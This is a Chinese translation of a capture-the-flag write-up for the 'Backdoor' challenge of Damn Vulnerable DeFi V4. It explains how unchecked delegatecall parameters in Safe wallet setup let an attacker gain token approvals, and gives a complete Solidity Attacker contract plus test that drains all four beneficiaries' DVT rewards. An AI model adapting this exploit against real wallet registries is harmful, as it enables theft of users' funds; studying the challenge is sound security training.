Damn Vulnerable DeFi V4 解决方案 — #11. Backdoor

本文分析了Damn Vulnerable DeFi V4的Backdoor挑战,该挑战利用了WalletRegistry和Safe钱包初始化过程中的漏洞。

Damn Vulnerable DeFi V4 解决方案 — #11. 后门

此说明假定你事先了解此挑战中的智能合约,并将专门关注漏洞分析。

挑战概述

为了激励团队创建更安全的钱包,有人部署了一个 Safe 钱包的注册表。当团队中的某人部署和注册钱包时,他们将获得 10 个 DVT 代币。

该注册表与合法的 Safe Proxy Factory 紧密集成。它包括严格的安全检查。

目前有四个人注册为受益人:Alice、Bob、Charlie 和 David。该注册表有 40 个 DVT 代币余额,将在他们之间分配。

发现注册表中的漏洞,找回所有资金,并将其存入指定的恢复账户。在一次交易中。

漏洞分析

后门挑战暴露了 WalletRegistry 和 Safe 钱包初始化过程之间集成中的漏洞。该注册表实现了对部署钱包的受益人的奖励,但未能正确验证钱包创建的所有方面。

核心漏洞在于 Safe 合约的 setup 函数,该函数允许在初始化期间进行 delegate call。WalletRegistry 仅在 proxyCreated 回调期间验证 Safe 钱包的某些参数:

    // 检查所有者数量
    address[] memory owners = Safe(walletAddress).getOwners();
    if (owners.length != EXPECTED_OWNERS_COUNT) {
        revert InvalidOwnersCount(owners.length);
    }

    // 检查所有者是否为受益人
    address walletOwner = owners[0];
    if (!beneficiaries[walletOwner]) {
        revert OwnerIsNotABeneficiary();
    }

    // 检查 fallback 管理器
    address fallbackManager = _getFallbackManager(walletAddress);
    if (fallbackManager != address(0)) {
        revert InvalidFallbackManager(fallbackManager);
    }

该注册表不会检查或限制在钱包初始化期间传递的 delegate call 参数(to 和 data)。这种疏忽允许攻击者包含一个恶意 delegate call,该调用以新创建的钱包的上下文和权限执行。

攻击流程

  1. 部署一个具有批准代币转账功能的恶意合约
  2. 对于注册表中的每个受益人,创建一个具有以下内容的 Safe 钱包:

- 受益人作为钱包所有者(以通过注册表检查)

- 在初始化期间,对恶意合约进行 delegate call

  1. delegate call 在新钱包的上下文中执行,批准攻击者花费其代币
  2. 当注册表将 10 个 DVT 转移到每个新钱包作为奖励时,立即将这些代币转账给攻击者
  3. 从所有四个受益人处收集代币后,将总共 40 个 DVT 转移到恢复地址

解决方案

    contract Attacker {
        Safe singletonCopy;
        SafeProxyFactory walletFactory;
        DamnValuableToken token;
        WalletRegistry walletRegistry;
        address[] beneficiaries;
        address recovery;
        uint immutable AMOUNT_TOKENS_DISTRIBUTED;

        constructor(
            Safe _singletonCopy,
            SafeProxyFactory _walletFactory,
            DamnValuableToken _token,
            WalletRegistry walletRegistryAddress,
            address[] memory _beneficiaries,
            address recoveryAddress,
            uint amountTokensDistributed
        ) payable {
            singletonCopy = _singletonCopy;
            walletFactory = _walletFactory;
            token = _token;
            walletRegistry = walletRegistryAddress;
            beneficiaries = _beneficiaries;
            recovery = recoveryAddress;
            AMOUNT_TOKENS_DISTRIBUTED = amountTokensDistributed;
        }

        function approveTokens(DamnValuableToken _token, address spender) external {
            _token.approve(spender, type(uint256).max);
        }

        function attack() public {
            for (uint i = 0; i < beneficiaries.length; i++) {
                address newOwner = beneficiaries[i];
                address[] memory owners = new address[](1);
                owners[0] = newOwner;

                bytes memory maliciousData = abi.encodeCall(
                    this.approveTokens,
                    (token, address(this))
                );

                bytes memory initializer = abi.encodeCall(
                    Safe.setup,
                    (
                        owners,
                        1,
                        address(this),
                        maliciousData,
                        address(0),
                        address(0),
                        0,
                        payable(address(0))
                    )
                );

                SafeProxy proxy = walletFactory.createProxyWithCallback(
                    address(singletonCopy),
                    initializer,
                    1,
                    walletRegistry
                );

                token.transferFrom(
                    address(proxy),
                    address(this),
                    token.balanceOf(address(proxy))
                );
            }
            token.transfer(recovery, AMOUNT_TOKENS_DISTRIBUTED);
        }
    }

    /**
     * CODE YOUR SOLUTION HERE
     */
    function test_backdoor() public checkSolvedByPlayer {
        Attacker attacker = new Attacker(
            singletonCopy,
            walletFactory,
            token,
            walletRegistry,
            users,
            recovery,
            AMOUNT_TOKENS_DISTRIBUTED
        );
        attacker.attack();
    }

包含解决方案的 GitHub 存储库:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/

查看我的 X 个人资料:https://x.com/_synthrax

  • 原文链接: coinsbench.com/damn-vuln...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
CoinsBench
CoinsBench
https://coinsbench.com/